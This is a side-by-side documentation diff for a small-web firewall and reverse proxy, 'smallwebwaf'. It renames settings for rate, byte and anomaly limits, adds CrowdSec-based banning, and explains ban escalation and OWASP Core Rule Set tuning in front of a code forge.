| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. | | `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. | | `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. | | `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. | | `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. | | `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. | | `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. | | `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | | `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | | `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | | `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. | | `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. | | `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in [`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings. full, and the limits that are fixed rather than settings.
@@ -452,7 +455,7 @@ services:
environment: environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080 SWW_RPROXY_WAF_BACKEND: http://waf:8080
# Answer 503 rather than pass a request on while waf is down. # Answer 503 rather than pass a request on while waf is down.
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny SWW_RPROXY_DEFAULT_DISPOSITION: deny
ports: ports:
- "8080:8080" - "8080:8080"
@@ -534,12 +537,12 @@ request reaches the app.
17. The request is passed to the app, streaming. 17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body 18. After the answer, `rproxy` sends `waf` a report with the status and the body
bytes each way. For an allowed request, `waf` counts the bytes bytes each way. For an allowed request, `waf` counts the bytes
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
they take it past one, and adds the request to the client's history. take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
instead. A request over the header limits of step 3 is answered `431`, and bans instead. A request over the header limits of step 3 is answered `431`, and bans
nobody either. `rproxy` itself answers `405` to a method it does not pass on, nobody either. `rproxy` itself answers `405` to a method it does not pass on,
and the status for a size or time limit, such as `413` for a body too large. and the status for a size or time limit, such as `413` for a body too large.
@@ -567,7 +570,8 @@ Each request gets tags from what `waf` knows of its client, written in the
- `asn=<number>` and `country=<code>`, from the lookup; - `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as - one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
`torexit` or `vpn=mullvad`; `torexit` or `vpn=mullvad`;
- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client; - `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request; - `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while - `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_WAF_ROUTEWATCH_URL` is set. `SWW_WAF_ROUTEWATCH_URL` is set.
@@ -579,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- The Core Rule Set reads the method, the URL with its query string, and the - The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless headers of every request, and no body unless
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge, `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
bodies carry what people write and publish, which the rules take for attacks. carry what people write and publish, which the rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in Git Credential Manager. No setting undoes the changes; "Attack detection" in
SPEC.md
+183 -213
View File
@@ -157,13 +157,12 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in `prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag. `SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the 4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused
(`deny_nets`); a client in both lists is let through. (`deny_nets`); a client in both lists is let through.
5. Bans. A client under a ban is refused (`active_ban`; see "Bans"). 5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number 6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
and country"). The request goes on at once. It waits for the first GeoJS and country"). The request goes on at once. It waits for the first GeoJS
answer, up to `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, only when one of answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it:
these needs it:
- the country list; - the country list;
- a biased threshold; - a biased threshold;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
@@ -176,10 +175,11 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
8. The reputation sources (see "Reputation"), in this order: 8. The reputation sources (see "Reputation"), in this order:
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION` - A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
(`blocklists`). (`blocklists`).
- A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` - A client on the CrowdSec decision list is banned (`crowdsec`).
- A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION`
(`dnsbl`). (`dnsbl`).
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets - A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
`SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`). `SWW_WAF_REPUTATION_ACTION` (`abuseipdb`).
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag 9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
in `SWW_WAF_TAG_DENY` is refused. in `SWW_WAF_TAG_DENY` is refused.
10. The client's limit percentage (see "Biased thresholds"). 10. The client's limit percentage (see "Biased thresholds").
@@ -204,18 +204,18 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
18. After the visitor's answer has ended, `rproxy` sends the report (see "The 18. After the visitor's answer has ended, `rproxy` sends the report (see "The
report"). `waf` then counts: report"). `waf` then counts:
- For a request it allowed, the body bytes of the response, of the request - For a request it allowed, the body bytes of the response, of the request
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED` or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says.
says. For a WebSocket, what it carried each way counts once it closes. A For a WebSocket, what it carried each way counts once it closes. A client
client whose total passes a byte limit times the percentage has broken whose total passes a byte limit times the percentage has broken that limit
that limit and is banned (`byte_limits`). The request that broke it has and is banned (`byte_limits`). The request that broke it has already been
already been passed on whole; nothing is cut off. passed on whole; nothing is cut off.
- For a request it allowed, the client's history and the anomaly counters - For a request it allowed, the client's history and the anomaly counters
are updated, and the alert thresholds are evaluated. are updated, and the alert thresholds are evaluated.
For a request it refused, `waf` adds nothing to the byte limits. It updates For a request it refused, `waf` adds nothing to the byte limits. It updates
the history and the anomaly counters at its decision. A refusal for a rule the history and the anomaly counters at its decision. It counts the refusals
file match, a trap path or a Core Rule Set match also counts toward the the error burst counts at the decision too (`refusal_limit`; see "Attack
refusal limit at the decision (`refusal_limit`; see "Attack detection"). detection").
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
happened, nothing is refused, and `waf` makes no ban of its own. A path under happened, nothing is refused, and `waf` makes no ban of its own. A path under
@@ -279,7 +279,7 @@ to a ban, each by its own rule:
- a request over a rate limit; - a request over a rate limit;
- the bytes counted for a request and its response taking the client's total - the bytes counted for a request and its response taking the client's total
past a byte limit; past a byte limit;
- more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute. - more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute.
The bans for a broken limit: The bans for a broken limit:
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with - The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
@@ -288,18 +288,25 @@ to a ban, each by its own rule:
ended. ended.
- Breaking a limit again within that window makes the new ban three times as - Breaking a limit again within that window makes the new ban three times as
long as the last one: one hour, then 3, 9, 27 and 81 hours. long as the last one: one hour, then 3, 9, 27 and 81 hours.
- A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` - A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`)
(default `7d`) is permanent instead. At the defaults, that is the sixth is permanent instead. At the defaults, that is the sixth ban in a row.
ban in a row.
- Each such ban sets the client's counters for every limit back to zero. - Each such ban sets the client's counters for every limit back to zero.
Once it ends, only new requests can break a limit again. The client's Once it ends, only new requests can break a limit again. The client's
history keeps its totals. history keeps its totals.
A Core Rule Set match refuses only the request it matched, with `403` and A Core Rule Set match refuses only the request it matched, with `403` and
without a ban, because the Core Rule Set has false positives. A `block` rule without a ban, because the Core Rule Set has false positives. A `block` rule
does the same. Those refusals count toward the refusal limit, so a client that does the same. Those refusals count toward the error burst, so a client that
keeps setting them off is banned for a broken limit. keeps setting them off is banned for a broken limit.
A client on the CrowdSec decision list is banned until the decision ends, with
the cause `crowdsec`. Only a client that sends a request is banned, so a long
list does not fill `bans.json`. Such a ban is never made permanent. It does not
make the netblock's next ban for a broken limit longer. A ban lifted while the
decision is in force is made again at the client's next request. To lift it for
good, delete the decision in CrowdSec, then lift the ban once the list has been
fetched again.
These refuse each request they cover, record nothing in `bans.json`, and count These refuse each request they cover, record nothing in `bans.json`, and count
no offence: no offence:
@@ -329,10 +336,10 @@ toward `SWW_WAF_MAX_BANS`, so such bans can never fill the table.
A request refused under a ban that runs out is logged with the action A request refused under a ban that runs out is logged with the action
`temporarily_banned`. Under a permanent ban the action is `permanently_banned`. `temporarily_banned`. Under a permanent ban the action is `permanently_banned`.
A request refused for a clear sign of attack takes the action for the ban it A request refused for a clear sign of attack or a CrowdSec decision takes the
made. A request that makes a ban permanent is logged as `permanently_banned`. A action for the ban it made. A request that makes a ban permanent is logged as
request over a rate limit is logged as `client_is_rate_limited`, whichever ban `permanently_banned`. A request over a rate limit is logged as
it makes. `client_is_rate_limited`, whichever ban it makes.
## Settings ## Settings
@@ -343,9 +350,8 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- These settings take `off`, which switches them off: - These settings take `off`, which switches them off:
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`; - `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
- the three rate limits and the three byte limits; - the three rate limits and the three byte limits;
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`, - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`,
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`;
`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`;
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`; - `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
- every anomaly threshold; - every anomaly threshold;
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`, - `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
@@ -398,9 +404,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- `SWW_WAF_STATE_DIR` names the directory of the state files, and - `SWW_WAF_STATE_DIR` names the directory of the state files, and
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment"). `SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted - `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted
or made permanent, so a burst of changes becomes one write. Every file is or made permanent, so a burst of changes becomes one write. Every file is
written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop. written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop.
### Logging ### Logging
@@ -414,16 +420,15 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
### Metrics ### Metrics
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS - `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries
numbers and countries get a series of their own. The rest are summed as get a series of their own. The rest are summed as `other`, so the label set
`other`, so the label set stays bounded. stays bounded.
### Static lists ### Static lists
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the - `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
and byte limits only; the refusal limit, attack detection and bans still and byte limits only; the error burst, attack detection and bans still apply.
apply.
- Many people can share one address, as in an office, on a mobile carrier or - Many people can share one address, as in an office, on a mobile carrier or
through Tor. They are one client, and share its limits and its bans. A known through Tor. They are one client, and share its limits and its bans. A known
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
@@ -469,7 +474,7 @@ app may read it as a path outside the prefix.
### Byte limits, per client ### Byte limits, per client
The byte limits count body bytes: the app's response bodies, the visitors' The byte limits count body bytes: the app's response bodies, the visitors'
request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never
counted. What the visitor sent over a WebSocket counts as request bytes, and counted. What the visitor sent over a WebSocket counts as request bytes, and
what the app sent as response bytes. The bytes counted for a request and its what the app sent as response bytes. The bytes counted for a request and its
response are added to the client's total once the response has ended (see step response are added to the client's total once the response has ended (see step
@@ -505,11 +510,11 @@ service that keeps its visitors' addresses on its own host.
are kept apart from the table of clients, so that an answer outlasts a client are kept apart from the table of clients, so that an answer outlasts a client
dropped from that table. The answer reaches the client's history and ban notes dropped from that table. The answer reaches the client's history and ban notes
when it comes. when it comes.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request - `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its
waits for its client's first answer, when a setting needs it (see step 6). It client's first answer, when a setting needs it (see step 6). It also bounds
also bounds each request to GeoJS. A client whose answer has not come in time each request to GeoJS. A client whose answer has not come in time counts as
counts as unknown until it comes, and its later requests do not wait. Its unknown until it comes, and its later requests do not wait. Its address is
address is asked about again in the background. asked about again in the background.
- A client the lookup cannot place has an unknown country and AS number, which - A client the lookup cannot place has an unknown country and AS number, which
the country list and the biased thresholds treat as described there. Nothing the country list and the biased thresholds treat as described there. Nothing
else treats it differently. else treats it differently.
@@ -566,12 +571,12 @@ Each tag and where it comes from:
- One tag per list of `SWW_WAF_TAG_LISTS` that holds the client (`tag_lists`), - One tag per list of `SWW_WAF_TAG_LISTS` that holds the client (`tag_lists`),
the tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists the tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists
are fetched and kept like a blocklist. `waf` ships none of its own. are fetched and kept like a blocklist. `waf` ships none of its own.
- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client, - `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
whatever the source's action. A zone with a key is named with the key masked, the client, whatever the source's action. A zone with a key is named with the
as the `reputation` field gives it. key masked, as the `reputation` field gives it.
- `exploitsignature`, when a rule file or the Core Rule Set matched the request. - `exploitsignature`, when a rule file or the Core Rule Set matched the request.
For the Core Rule Set a match is a score at or over For the Core Rule Set a match is a score at or over
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`. `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`.
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance - `asn=<number>` and `prefix=<netblock>` from a routewatch instance
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set: (`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
- The tag `prefix=` holds the netblock the client's address is announced in, - The tag `prefix=` holds the netblock the client's address is announced in,
@@ -618,13 +623,13 @@ abuse comes from.
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50` - `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
(see "Request tags"). A lowered limit is rounded down. (see "Request tags"). A lowered limit is rounded down.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first
client's first request breaks a limit and bans it. request breaks a limit and bans it.
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` - `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte
set the byte limits' percentage alone, when it should differ from the request limits' percentage alone, when it should differ from the request limits'. For
limits'. For an AS number they list, they replace its `asn=` tag's percentage an AS number they list, they replace its `asn=` tag's percentage and its entry
and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's
`country=` tag's percentage. percentage.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so - `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
one abuse-source list can be shared by every `waf` in the fleet. It is fetched one abuse-source list can be shared by every `waf` in the fleet. It is fetched
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=` and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
@@ -632,8 +637,8 @@ abuse comes from.
applies. applies.
- A client's limit percentage is the lowest of those that apply to it: its AS - A client's limit percentage is the lowest of those that apply to it: its AS
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a
of a country's. The percentage is 100 if none applies. Clients given a lower country's. The percentage is 100 if none applies. Clients given a lower
percentage are banned after fewer requests, first for a while and then, for percentage are banned after fewer requests, first for a while and then, for
repeated abuse, permanently. The log line of each counted request, and the repeated abuse, permanently. The log line of each counted request, and the
notes of each ban, say which setting lowered the limit. notes of each ban, say which setting lowered the limit.
@@ -655,16 +660,16 @@ files, the limits and the bans still apply to the client that sends it.
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`. - The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two
values, at its own defaults. Each level up runs more rules, which find more tuning values, at its own defaults. Each level up runs more rules, which find
attacks and take more ordinary requests for attacks. Each rule that matches more attacks and take more ordinary requests for attacks. Each rule that
adds its score to the request's, and a rule rated critical adds 5. A request matches adds its score to the request's, and a rule rated critical adds 5. A
whose score reaches the threshold is a match, so by default one critical rule request whose score reaches the threshold is a match, so by default one
is enough. With the threshold `off`, nothing is a match, and scores are still critical rule is enough. With the threshold `off`, nothing is a match, and
logged. A request with more than 1000 query parameters or body fields adds 5 scores are still logged. A request with more than 1000 query parameters or
to its score, since Coraza reads only the first 1000. For a match, in `block` body fields adds 5 to its score, since Coraza reads only the first 1000. For a
and `detect` mode alike, the log line gives the rule ids and the score, and a match, in `block` and `detect` mode alike, the log line gives the rule ids and
`core_rule_set_match` alert is sent. the score, and a `core_rule_set_match` alert is sent.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
a false positive. The default switches off six rules: a false positive. The default switches off six rules:
- 920340, 920420 and 920640 refuse a request for the type of its body, when - 920340, 920420 and 920640 refuse a request for the type of its body, when
@@ -702,14 +707,14 @@ files, the limits and the bans still apply to the client that sends it.
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
rules is loaded yet. rules is loaded yet.
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that
to that size. It takes at most `64K`, since `waf` gets no more of a body than size. It takes at most `64K`, since `waf` gets no more of a body than that
that (see "The answer"). Form data and multipart bodies are read up to the (see "The answer"). Form data and multipart bodies are read up to the size.
size. JSON and XML bodies are read only when no larger than the size, since JSON and XML bodies are read only when no larger than the size, since those
those cannot be read in part. Any other body is not read: the Core Rule Set cannot be read in part. Any other body is not read: the Core Rule Set would
would read it as form data, where binary content such as a git push trips read it as form data, where binary content such as a git push trips rules
rules written for text. A body the Core Rule Set cannot parse adds 5 to the written for text. A body the Core Rule Set cannot parse adds 5 to the score,
score, and so does a multipart body cut by the limit in the middle of a part's and so does a multipart body cut by the limit in the middle of a part's
header. Body inspection suits apps whose forms carry no code. header. Body inspection suits apps whose forms carry no code.
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask - `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
for, such as `/wp-login.php` in front of an app that is not WordPress. This is for, such as `/wp-login.php` in front of an app that is not WordPress. This is
@@ -718,8 +723,8 @@ files, the limits and the bans still apply to the client that sends it.
the path as sent and once percent-decoded: `/wp-login.php` matches the path as sent and once percent-decoded: `/wp-login.php` matches
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/` `/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
or `/blog/wp-login.php`. or `/blog/wp-login.php`.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of - `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these
these kinds, and of no other: kinds, and of no other:
- a rule file match; - a rule file match;
- a trap path; - a trap path;
- a Core Rule Set match. - a Core Rule Set match.
@@ -743,10 +748,10 @@ every app, and no setting undoes them:
Core Rule Set does not read, which by default is every request. git Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it
is set, it stays refused too on a `PUT` of JSON, XML or form data to stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV
Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The paths, whose body Nextcloud's fixes leave unread. The other headers the Core
other headers the Core Rule Set refuses, such as `Proxy`, stay refused. Rule Set refuses, such as `Proxy`, stay refused.
